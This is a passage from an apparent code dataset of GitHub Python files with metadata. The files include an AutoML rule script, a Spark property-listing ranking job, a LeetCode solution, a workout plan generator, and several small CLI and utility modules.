print(\"----------------------------------------------------------\")\n clf = RandomForestRegressor(\n bootstrap = False,\n max_depth = None,\n max_features= 'sqrt',\n max_leaf_nodes = None,\n min_impurity_decrease = 0.0,\n min_impurity_split = None,\n min_samples_leaf = 1,\n min_samples_split = 2,\n min_weight_fraction_leaf = 0.0,\n n_estimators = 1500,\n n_jobs = 1,\n oob_score = False,\n random_state = 42,\n verbose = 0,\n warm_start = False) \n result = preprocess(dataset, clf)\n x = pd.DataFrame(result[0])\n y = pd.DataFrame(result[1])\n x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.3)\n clf.fit(x_train, y_train)\n predicted = clf.predict(x_test)\n mse=mean_squared_error(y_test, predicted)\n rmse=sqrt(mse)\n print(\"rmse: %.2f\" %rmse)\n result = pd.DataFrame(predicted)\n result.to_csv('./result/clf_result.csv', index=False, header=True)\n print(\"\")\n elif choose ==\"Y\":\n print(\"----------------------------------------------------------\")\n print(\"Lasso\")\n print(\"ElasticNet\")\n print(\"----------------------------------------------------------\")\n elif choose == \"Y\":\n print(\"\")\n print(\"do you have labeled data\")\n choose = input(\"Enter Y or N \")\n if choose == \"N\":\n print(\"\")\n print(\"number of categories Known\")\n choose = input(\"Enter Y or N \")\n if choose == \"N\":\n print(\"\")\n print(\"<10K samples\")\n if data_size < 10000 : \n Yes()\n else :\n No()\n if choose == \"N\":\n print(\"----------------------------------------------------------\")\n print(\"tough luck\")\n print(\"----------------------------------------------------------\")\n elif choose == \"Y\":\n print(\"----------------------------------------------------------\")\n print(\"MeanShift\")\n print(\"VBGMM\")\n print(\"----------------------------------------------------------\")\n elif choose == \"Y\":\n print(\"\")\n print(\"<10K samples\")\n if data_size < 10000 : \n Yes()\n else :\n No()\n if choose == \"N\":\n print(\"----------------------------------------------------------\")\n print(\"MiniBath Kmeans\")\n print(\"----------------------------------------------------------\")\n elif choose == \"Y\":\n print(\"----------------------------------------------------------\")\n print(\"KMeans\")\n print(\"----------------------------------------------------------\")\n\n from sklearn.cluster import KMeans\n X = dataset.copy()\n k_means = KMeans(n_clusters=3, random_state=0)\n #Train the model using the training sets and check score\n k_means.fit(X)\n #predict output\n predicted = k_means.predict(X)#X or x_test\n result = pd.DataFrame(predicted)\n result.to_csv('./result/Kmeans_result.csv', index=False, header=True)\n \n choose = input(\"If it doesn't work, press Y. \")\n if choose == \"Y\":\n print(\"----------------------------------------------------------\")\n print(\"Spectral Clustreing\")\n print(\"GMM\")\n print(\"----------------------------------------------------------\")\n elif choose == \"Y\":\n print(\"\")\n print(\"<100K samples\")\n if data_size < 100000 : \n Yes()\n else :\n No()\n if choose == \"N\":\n print(\"----------------------------------------------------------\")\n print(\"SGD Classifier\")\n print(\"----------------------------------------------------------\")\n print(\"\")\n choose = input(\"If it doesn't work, press Y. \")\n if choose == \"Y\":\n print(\"----------------------------------------------------------\")\n print(\"kernel approximation\")\n print(\"----------------------------------------------------------\")\n elif choose == \"Y\":\n print(\"----------------------------------------------------------\")\n print(\"Linear SVC\")\n print(\"----------------------------------------------------------\")\n linear_svc = LinearSVC(random_state=0, tol=1e-5)\n result = preprocess(dataset, linear_svc)\n x = pd.DataFrame(result[0])\n y = pd.DataFrame(result[1])\n x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.3)\n linear_svc.fit(x_train, y_train)\n predicted = linear_svc.predict(x_test)\n \n print(\"Accuracy: %.2f\" %accuracy_score(y_test, predicted))\n print(\"F1 score: %.2f\" %f1_score(y_test, predicted))\n result = pd.DataFrame(predicted)\n result.to_csv('./result/linear_svc_result.csv', index=False, header=True)\n print(\"\")\n choose = input(\"If it doesn't work, press Y. \")\n if choose == \"Y\":\n print(\"\")\n print(\"Text Data\")\n if str_type:\n Yes()\n else :\n No()\n if choose == \"N\":\n print(\"----------------------------------------------------------\")\n print(\"KNeighbors Classifier\")\n print(\"----------------------------------------------------------\")\n n_neighbors = (len(set(dataset.iloc[:, -1])))\n classifier = KNeighborsClassifier(n_neighbors=n_neighbors)\n result = preprocess(dataset, classifier)\n x = pd.DataFrame(result[0])\n y = pd.DataFrame(result[1])\n x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.3)\n classifier.fit(x_train, y_train)\n predicted = classifier.predict(x_test)\n \n print(\"Accuracy: %.2f\" %accuracy_score(y_test, predicted))\n print(\"F1 score: %.2f\" %f1_score(y_test, predicted))\n result = pd.DataFrame(predicted)\n result.to_csv('./result/knn_result.csv', index=False, header=True)\n print(\"\")\n choose = input(\"If it doesn't work, press Y. \")\n if choose == \"Y\":\n print(\"----------------------------------------------------------\")\n #print(\"SVC\")\n print(\"Ensemble Classifiers\")\n print(\"----------------------------------------------------------\")\n rnd_clf = RandomForestClassifier(\n bootstrap = False,\n max_depth = None,\n max_features= 'sqrt',\n max_leaf_nodes = None,\n min_impurity_decrease = 0.0,\n min_impurity_split = None,\n min_samples_leaf = 1,\n min_samples_split = 2,\n min_weight_fraction_leaf = 0.0,\n n_estimators = 1000,\n n_jobs = 1,\n oob_score = False,\n random_state = 42,\n verbose = 0,\n warm_start = False)\n result = preprocess(dataset, rnd_clf)\n x = pd.DataFrame(result[0])\n y = pd.DataFrame(result[1])\n x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.3)\n rnd_clf.fit(x_train, y_train)\n predicted = rnd_clf.predict(x_test)\n \n print(\"Accuracy: %.2f\" %accuracy_score(y_test, predicted))\n print(\"F1 score: %.2f\" %f1_score(y_test, predicted))\n result = pd.DataFrame(predicted)\n result.to_csv('./result/rnd_clf_result.csv', index=False, header=True)\n elif choose == \"Y\":\n print(\"----------------------------------------------------------\")\n print(\"Naive Bayes\")\n print(\"----------------------------------------------------------\")\n\n\ntime.sleep(9999)\n", "repo_name": "Nanjangpan/Auto_ML", "sub_path": "Rule_based/코드/Rule_based.py", "file_name": "Rule_based.py", "file_ext": "py", "file_size_in_byte": 21429, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "warnings.filterwarnings", "line_number": 8, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 50, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 50, "usage_type": "call"}, {"api_name": "missingpy.MissForest", "line_number": 53, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 54, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 58, "usage_type": "call"}, {"api_name": "imblearn.over_sampling.RandomOverSampler", "line_number": 59, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 75, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 75, "usage_type": "call"}, {"api_name": "imblearn.over_sampling.RandomOverSampler", "line_number": 83, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 85, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 86, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 90, "usage_type": "call"}, {"api_name": "imblearn.over_sampling.RandomOverSampler", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 95, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 111, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 111, "usage_type": "call"}, {"api_name": "missingpy.MissForest", "line_number": 115, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 116, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 121, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 122, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 124, "usage_type": "call"}, {"api_name": "imblearn.over_sampling.RandomOverSampler", "line_number": 125, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 139, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 154, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 161, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 167, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 194, "usage_type": "call"}, {"api_name": "sklearn.linear_model.SGDRegressor", "line_number": 233, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 235, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 236, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 237, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 240, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 241, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 245, "usage_type": "call"}, {"api_name": "sklearn.svm.LinearSVR", "line_number": 257, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 269, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 270, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 271, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 274, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 275, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 277, "usage_type": "call"}, {"api_name": "sklearn.ensemble.forest.RandomForestRegressor", "line_number": 286, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 303, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 304, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 305, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 308, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 309, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 311, "usage_type": "call"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 361, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 366, "usage_type": "call"}, {"api_name": "sklearn.svm.LinearSVC", "line_number": 396, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 398, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 399, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 400, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 404, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 405, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 406, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 422, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 424, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 425, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 426, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 430, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 431, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 432, "usage_type": "call"}, {"api_name": "sklearn.ensemble.forest.RandomForestClassifier", "line_number": 441, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 458, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 459, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 460, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 464, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 465, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 466, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 474, "usage_type": "call"}]} {"seq_id": "30084356669", "text": "import json\n\n\ndef check_numbers(json_in):\n\n # Step 1: delete unnecessary/disturbing chars\n list_in = str(json_in)\n for char in ['{', '[', \":\", \",\", \"]\", \"}\"]:\n if char in list_in:\n list_in = list_in.replace(char, \" \")\n\n # Step 2: extracting numbers\n new_list = []\n splitted_list = list_in.split()\n for i in splitted_list:\n if i.isdigit():\n new_list.append(int(i))\n if i.startswith('-'):\n new_list.append(int(i))\n\n # Step 3: sum it!\n sum_numbers = sum(new_list)\n return sum_numbers\n\n\ndef open_json(name_of_file):\n\n with open(name_of_file) as js:\n data = json.load(js)\n return data\n\n\ncheck_numbers(open_json('skychallenge_accounting_input.txt'))\n", "repo_name": "rbartosinski/skgt-repo", "sub_path": "CHAPTER_II/2_json.py", "file_name": "2_json.py", "file_ext": "py", "file_size_in_byte": 741, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.load", "line_number": 29, "usage_type": "call"}]} {"seq_id": "40442416719", "text": "\"\"\"9:42am\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def checkSubarraySum(self, nums: List[int], k: int) -> bool:\n for window_len in range(2, len(nums) + 1):\n curr_sum = 0\n left = 0\n for i, n in enumerate(nums):\n # add new number\n curr_sum = (curr_sum + n) % k\n\n # check if we need to remove old number\n if i - left + 1 > window_len:\n curr_sum = (curr_sum - nums[left]) % k\n left += 1\n\n # check if zero\n if i - left + 1 == window_len:\n if curr_sum == 0:\n return True\n return False\n", "repo_name": "darren-huang/leetcode-grind", "sub_path": "other_leetcode/523.1.continuous_subarray_sum.py", "file_name": "523.1.continuous_subarray_sum.py", "file_ext": "py", "file_size_in_byte": 704, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 6, "usage_type": "name"}]} {"seq_id": "5409414570", "text": "\n# coding: utf-8\n\n# # MASSIVE DATA PROCESSING\n# \n# ## BIG DATA PROJECT\n# \n# ### IDEALISTA - TOP N CITIES BY DESIRED PROPERTY\n# \n# #### Group:\n# Daniel Vieira Cordeiro\n# \n# Guillem Orellana Trullols\n# \n# Marc Viladegut Abert\n# \n# \n# \n# #### Coordination:\n# CORES PRADO, FERNANDO\n# \n# MATEU PIÑOL, CARLOS\n# \n# \n# #### Description:\n# \n# Using the previouly gathered and cleaned dataset containing the information of properties on the idealista website, by making use of Apache Spark and Python, we created this notebook that filters properties by:\n# \n# - Maximum rent price the user is willing to pay \n# - Minimum number of rooms the user seeks in his new home\n# - If the annoucement has photos of the property\n# - The property type: \"Flat, House, etc..\"\n# \n# Once it has the data filtered, it generates a list of TOP N Cities containing the properties that match the requirements.\n\n# In[2]:\n\n\n# Import useful libraries\nimport pyspark, string, json, argparse\n\n# Creating Spark Context\nsc = pyspark.SparkContext()\nprint(sc)\n\n# Reading cleaned Idealist properties file\nparser = argparse.ArgumentParser()\nparser.add_argument(\"input\", help=\"Input data\")\nparser.add_argument(\"output\", help=\"Output data\")\nparser.add_argument(\"top\", help=\"Number of top-n elements\")\nargs = parser.parse_args()\n\nclean_data = sc.textFile(args.input, use_unicode=False)\nprint(\"Header:\")\nprint(clean_data.first())\n\n# Get properties data fields (string split separate by ,)\ndata_header = clean_data.map(lambda line: line.split(\",\"))\n\n# Separating Header from data\nheader = data_header.first()\ndata = data_header.filter(lambda row: row != header)\n\nprint(\"\\nInitial Data:\")\nprint(data.take(3))\n\n# Filtering Columns\nsimple_data = data.map(lambda r: (r[2], r[4], r[5], r[9], r[12]))\n\nprint(\"\\nInitial Data - Important Columns Only:\")\nprint(simple_data.take(3))\n\n# Setting up filters\nmaxPrice = 1000000.0\nminRooms = 4\nminPhotos = 0\nhouseType = \"flat\"\n\n# Filtering Data\nfiltered = simple_data.filter(lambda r: int(r[0]) >= minPhotos and float(r[1]) < maxPrice and r[2] == houseType and int(r[3]) >= minRooms)\n\nprint(\"\\nFiltered Data:\")\nprint(filtered.take(3))\n\n# Keeping only the City info and a value = 1\ncities = filtered.map(lambda h: (h[4],1))\n\n# Printing the total number of Cities and how many distincts are there\nprint(\"\\nTotal number of Cities: \" + str(cities.count()))\nprint(\"\\nTotal number of Distinct Cities: \" + str(cities.distinct().count()))\n\n# Counting and joining hashtags (#)\nproperty_count = cities.reduceByKey(lambda a, b: a + b)#.filter(lambda t: t[1])\nprint(property_count.take(int(args.top)))\n\n# Ordering decresingly by amount\nproperties_ordered = property_count.takeOrdered(int(args.top), key = lambda x: -x[1])\nprint(\"\\nTop Cities with matching properties: \\n\")\nprint(properties_ordered)\n\n# Converting the list to parallel RDD\nparallel_properties_ordered = sc.parallelize(properties_ordered)\n\n# Use the map function to write one element per line and write all elements to a single file (coalesce)\nparallel_properties_ordered.coalesce(1).map(lambda row: str(row[0]) + \" \" + str(row[1])).saveAsTextFile(args.output)\n", "repo_name": "Guillem96/idealista-big-data-project", "sub_path": "idealista-spark/Idealista.py", "file_name": "Idealista.py", "file_ext": "py", "file_size_in_byte": 3104, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pyspark.SparkContext", "line_number": 43, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 47, "usage_type": "call"}]} {"seq_id": "14853557833", "text": "import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\ndf = pd.read_csv('stpete-temp-data.csv')\nyears = df['YEAR'].values\nmax_temp = df['MAX TEMP'].values\nday = df['DAY'].values\nprecipitation = df['PRECIPITATION'].values\nmin_temp = df['MIN TEMP'].values\nmean_temp = df['MEAN TEMP'].values\n\n# Create a \"design matrix\" with a column of ones and a column for each year\nX = np.vstack([np.ones_like(years), years]).T\n\n# Use the pseudo-inverse to perform the linear regression\nbeta = np.linalg.pinv(X).dot(max_temp)\n\n# Now beta contains the intercept (average temperature) and the slope (change in temperature per year)\nintercept, slope = beta\n\nplt.scatter(years, max_temp, label='Data')\nplt.plot(years, intercept + slope * years, 'r', label='Fit')\nplt.xlabel('Year')\nplt.ylabel('Temperature')\nplt.title('Temperature Trend Over Time')\nplt.legend()\nplt.show()\n", "repo_name": "RollingInCode/numpy-climate-collector", "sub_path": "numpy-project.py", "file_name": "numpy-project.py", "file_ext": "py", "file_size_in_byte": 870, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 5, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.ones_like", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.linalg.pinv", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 17, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}]} {"seq_id": "18033162045", "text": "import os\nfrom argparse import ArgumentParser\n\nfrom . import BaseAutoTrainCommand\n\n\ndef run_app_command_factory(args):\n return RunAutoTrainAppCommand(\n args.port,\n args.host,\n args.task,\n )\n\n\nclass RunAutoTrainAppCommand(BaseAutoTrainCommand):\n @staticmethod\n def register_subcommand(parser: ArgumentParser):\n run_app_parser = parser.add_parser(\n \"app\",\n description=\"✨ Run AutoTrain app\",\n )\n run_app_parser.add_argument(\n \"--port\",\n type=int,\n default=7860,\n help=\"Port to run the app on\",\n required=False,\n )\n run_app_parser.add_argument(\n \"--host\",\n type=str,\n default=\"127.0.0.1\",\n help=\"Host to run the app on\",\n required=False,\n )\n run_app_parser.add_argument(\n \"--task\",\n type=str,\n required=False,\n help=\"Task to run\",\n )\n run_app_parser.set_defaults(func=run_app_command_factory)\n\n def __init__(self, port, host, task):\n self.port = port\n self.host = host\n self.task = task\n\n def run(self):\n if os.environ.get(\"TASK\") == \"Dreambooth\" or self.task == \"dreambooth\":\n from ..apps.dreambooth import main\n elif os.environ.get(\"TASK\") == \"LLM\":\n from ..apps.llm import main\n elif os.environ.get(\"TASK\") == \"TEXT_CLASSIFICATION\":\n from ..apps.text_classification import main\n else:\n from ..apps.main import main\n\n demo = main()\n demo.queue(concurrency_count=10).launch()\n", "repo_name": "huggingface/autotrain-advanced", "sub_path": "src/autotrain/cli/run_app.py", "file_name": "run_app.py", "file_ext": "py", "file_size_in_byte": 1661, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2291, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 17, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 50, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 52, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 54, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 54, "usage_type": "attribute"}, {"api_name": "apps.main.main", "line_number": 59, "usage_type": "call"}]} {"seq_id": "44433254991", "text": "\"\"\"\nCreate a unique user id given a first and last name.\nFirst, we try simple concatenation of first and last name.\nIf that doesn't work, we add random numbers to the name\n\"\"\"\n\nfrom django.contrib.auth.models import User\nimport random\n\ndef generate_id(first_name=None, last_name=None):\n valid_id = False\n test_name = first_name + last_name\n while valid_id is False:\n try:\n User.objects.get(username=test_name)\n except User.DoesNotExist:\n valid_id = True\n else:\n test_name = first_name + last_name + str(random.randrange(1,9999))\n return(test_name)\n", "repo_name": "davemerwin/satchmo", "sub_path": "satchmo-0.6.0/satchmo/shop/utils/unique_id.py", "file_name": "unique_id.py", "file_ext": "py", "file_size_in_byte": 614, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 15, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 15, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.DoesNotExist", "line_number": 16, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 16, "usage_type": "name"}, {"api_name": "random.randrange", "line_number": 19, "usage_type": "call"}]} {"seq_id": "28155952160", "text": "from . import levels\nfrom .goals import Goals\nfrom .utils import NoviceDays , BeginnerDays , IntermediateDays , days as namedDays , get_resistance_filter , get_category_decorator\nfrom .day import ExerciseDay\nfrom . import shared_globals\n\nimport random\nimport logging\nimport sys\nimport os\nimport itertools\n\nclass ResistanceDistribution:\n\n def __init__(self , user , day , day_number):\n self.user = user\n self.day = day\n self.day_number = day_number\n\nclass Generator():\n\n def __init__(self, user):\n self.logger = logging.getLogger('workoutplan.generator')\n self.user = user\n self.conditional_days = self.get_conditional_days()\n self.get_resistance_distribution()\n self.logger.info(\"Starting Workout Generator for user %s-%d\"%(self.user.email , self.user.id))\n\n setattr(shared_globals , \"location_pref\" , self.user.workout_location)\n\n @get_category_decorator(NoviceDays)\n def _get_novice_days(self):\n pass\n\n @get_category_decorator(BeginnerDays)\n def _get_beginner_days(self):\n pass\n\n @get_category_decorator(IntermediateDays)\n def _get_intermediate_days(self):\n pass\n\n def _get_days_distribution(self, days):\n '''\n @days is a namedtuple instance with cardio , rt and total.\n #Notes\n Ideally should be a utility function, but i realized that after writing it and as of right now, too lazy to move it out. Hence\n a classmethod\n '''\n day_range = set(range(1 , days.total + 1))\n\n if not any([\n days.cardio == days.total,\n days.rt == days.total,\n days.cs == days.total\n ]):\n rt_days = sorted(random.sample(\n day_range , days.rt\n ))\n cardio_days = sorted(random.sample(\n day_range.difference(rt_days) , days.cardio\n ))\n cs_days = sorted(random.sample(\n cardio_days , days.cs\n ))\n return cardio_days , rt_days , cs_days\n\n cardio_days = set(random.sample(\n day_range,\n days.cardio\n ))\n\n if days.total <= days.cardio + days.rt:\n rt_days = random.sample(day_range , days.rt)\n\n else:\n rt_days = random.sample(day_range.difference(cardio_days) , days.rt)\n\n if self.user.is_novice():\n cs_days = cardio_days\n\n elif self.user.is_intermediate() and self.user.goal == Goals.WeightGain:\n cs_days = random.sample( day_range , 2)\n\n else:\n cs_days_count = day_range.difference(rt_days)\n cs_days = random.sample(\n day_range.difference(rt_days),\n min(len(cs_days_count),2)\n )\n\n return cardio_days , set(rt_days) , set(cs_days)\n\n def get_resistance_distribution(self):\n '''\n Get days on which user has to do resistance training\n '''\n\n rt_days = self.conditional_days.rt\n dist = {}\n\n if rt_days:\n for i,e in enumerate(rt_days):\n f = get_resistance_filter(self.user , i+1)\n dist[e] = f\n\n self.resistance_distribution = dist\n return dist\n\n def get_conditional_days(self):\n '''\n Number of Cardio Days for the user\n '''\n if self.user.level_obj == levels.Novice:\n days = self._get_novice_days()\n elif self.user.level_obj == levels.Beginner:\n days = self._get_beginner_days()\n elif self.user.level_obj == levels.Intermediate:\n days = self._get_intermediate_days()\n cardio_days , rt_days , cs_days = self._get_days_distribution(days)\n data = namedDays(cardio_days , rt_days , cs_days ,days.total)\n shared_globals.conditional_days = data\n return data\n\n def get_resistance_filter_for_day(self , day):\n return self.resistance_distribution.get(day)\n\n def should_make_cardio(self , day):\n return day in self.conditional_days.cardio\n\n def should_make_cs(self , day):\n return day in self.conditional_days.cs\n\n def _generate(self):\n days = range(1 , self.conditional_days.total + 1)\n for e in days:\n resistance_filter = self.get_resistance_filter_for_day(e)\n make_cardio = self.should_make_cardio(e)\n make_cs = self.should_make_cs(e)\n if resistance_filter or make_cardio or make_cs:\n d = ExerciseDay(e , self.user , make_cardio = make_cardio , resistance_filter = resistance_filter , make_cs = make_cs)\n setattr(self , \"D%s\"%e , d)\n d.build()\n return self\n\n def weekly_as_dict(self):\n days = set(range(1 , self.conditional_days.total + 1))\n data = {}\n for d in days:\n if hasattr(self , \"D%d\"%d):\n data[d] = {}\n day_obj = getattr(self , \"D%d\"%d)\n data[d].update(\n **day_obj.as_dict()\n )\n return data\n\n def generate(self ):\n self._generate()\n return self\n try:\n self._generate()\n except Exception as e:\n exc_type , exc_obj , exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n self.logger.info(\"Error Generating Workout Plan: %s %s %s\"%(exc_type , fname , exc_tb.tb_lineno))\n else:\n self.logger.info(\"Workout Successfully Generated for user\")\n return self\n\n def iterdays(self):\n days = range( 1 , self.conditional_days.total + 1)\n for e in days:\n day_template = \"D%d\"\n if hasattr(self , day_template%e):\n self.logger.debug(\"Yielding Day %d\"%e)\n yield getattr(self , day_template%e)\n", "repo_name": "dotslash227/98fitcortex", "sub_path": "testing/workoutplan/generator.py", "file_name": "generator.py", "file_ext": "py", "file_size_in_byte": 5828, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 23, "usage_type": "call"}, {"api_name": "utils.get_category_decorator", "line_number": 31, "usage_type": "call"}, {"api_name": "utils.NoviceDays", "line_number": 31, "usage_type": "argument"}, {"api_name": "utils.get_category_decorator", "line_number": 35, "usage_type": "call"}, {"api_name": "utils.BeginnerDays", "line_number": 35, "usage_type": "argument"}, {"api_name": "utils.get_category_decorator", "line_number": 39, "usage_type": "call"}, {"api_name": "utils.IntermediateDays", "line_number": 39, "usage_type": "argument"}, {"api_name": "random.sample", "line_number": 57, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 60, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 63, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 68, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 74, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 77, "usage_type": "call"}, {"api_name": "goals.Goals.WeightGain", "line_number": 82, "usage_type": "attribute"}, {"api_name": "goals.Goals", "line_number": 82, "usage_type": "name"}, {"api_name": "random.sample", "line_number": 83, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 87, "usage_type": "call"}, {"api_name": "utils.get_resistance_filter", "line_number": 104, "usage_type": "call"}, {"api_name": "utils.days", "line_number": 121, "usage_type": "call"}, {"api_name": "day.ExerciseDay", "line_number": 141, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 164, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 165, "usage_type": "call"}, {"api_name": "os.path", "line_number": 165, "usage_type": "attribute"}]} {"seq_id": "42683678989", "text": "# -*- coding: utf-8 -*-\nimport os.path\nimport logging\n\nimport click\nfrom flask.cli import with_appcontext, current_app\nfrom werkzeug.serving import run_simple\nfrom livereload import Server\n\nfrom scout.adapter.utils import check_connection\n\nLOG = logging.getLogger(__name__)\n\n@click.command()\n@click.option('-h', '--host', default='localhost', help='Where to serve')\n@click.option('-p', '--port', default=5000, help='Which port to listen on')\n@click.option('-d', '--debug', is_flag=True, help='Run server in debug mode')\n@click.option('-l', '--livereload', is_flag=True, help='Enable Live Reload server')\n@click.option('-test', '--test', is_flag=True, help='Test app params')\n@with_appcontext\ndef serve(host, port, debug, livereload, test):\n \"\"\"Start the web server.\"\"\"\n pymongo_config = dict(\n MONGO_HOST=current_app.config.get(\"MONGO_HOST\", 'localhost'),\n 